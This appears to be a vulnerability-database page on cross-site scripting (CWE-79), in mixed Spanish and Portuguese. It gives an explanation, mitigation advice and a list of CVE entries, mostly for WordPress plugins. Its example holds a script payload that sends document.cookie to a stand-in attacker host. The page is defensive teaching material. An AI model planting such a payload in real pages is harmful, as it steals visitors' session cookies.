Fallos del tipo CWE-79

29.743 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-25165HIGHWordPress Staff Directory Plugin: Company Directory Plugin <= 4.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-25522MEDIUMCraft Commerce has Stored XSS in Shipping Zone (Name & Description) Fields Leading to Potential Privilege EscalationEPSS 0.4%CVE-2023-24003MEDIUMWordPress WP Popups Plugin <= 2.1.4.8 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-23680HIGHWordPress Narnoo Operator plugin <= 2.0.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-23607HIGHWordPress CAMOO SMS plugin <= 3.0.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-25485MEDIUMCraft Commerce has Stored XSS in Shipping Categories (Name & Description) Fields Leading to Potential Privilege EscalationEPSS 0.4%CVE-2023-23686MEDIUMWordPress Simple Staff List Plugin <= 2.2.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-6248HIGHA cross-site scripting (XSS) vulnerability was reported in the Lenovo Browser that could allow an attacker to obtain sensitive information iEPSS 0.4%CVE-2025-23813HIGHWordPress Guten Free Options Plugin <= 0.9.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-23500HIGHWordPress Simple Custom post type custom field plugin <= 1.0.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-22772HIGHWordPress Mapbox for WP Advanced Plugin <= 1.0.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-23610HIGHWordPress Ultimate Events plugin <= 1.3.3 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-23716HIGHWordPress Login Watchdog plugin <= 1.0.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-23592HIGHWordPress dForms plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-26587HIGHWordPress sidebarTabs Plugin <= 3.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-23688HIGHWordPress Cobwebo URL Plugin plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-58113HIGHA vulnerability has been identified in Teamcenter V2412 (All versions < V2412.0013), Teamcenter V2506 (All versions < V2506.0010), TeamcenteEPSS 0.4%CVE-2024-5036MEDIUMSina Extension for Elementor (Slider, Gallery, Form, Modal, Data Table, Tab, Particle, Free Elementor Widgets & Elementor Templates) <= 3.5.4 - Authenticated (Contributor+) DOM-Based Stored Cross-Site ScriptingEPSS 0.4%CVE-2023-49827HIGHWordPress Soledad Theme <= 8.4.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-23625HIGHWordPress Unique UX plugin <= 0.9.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%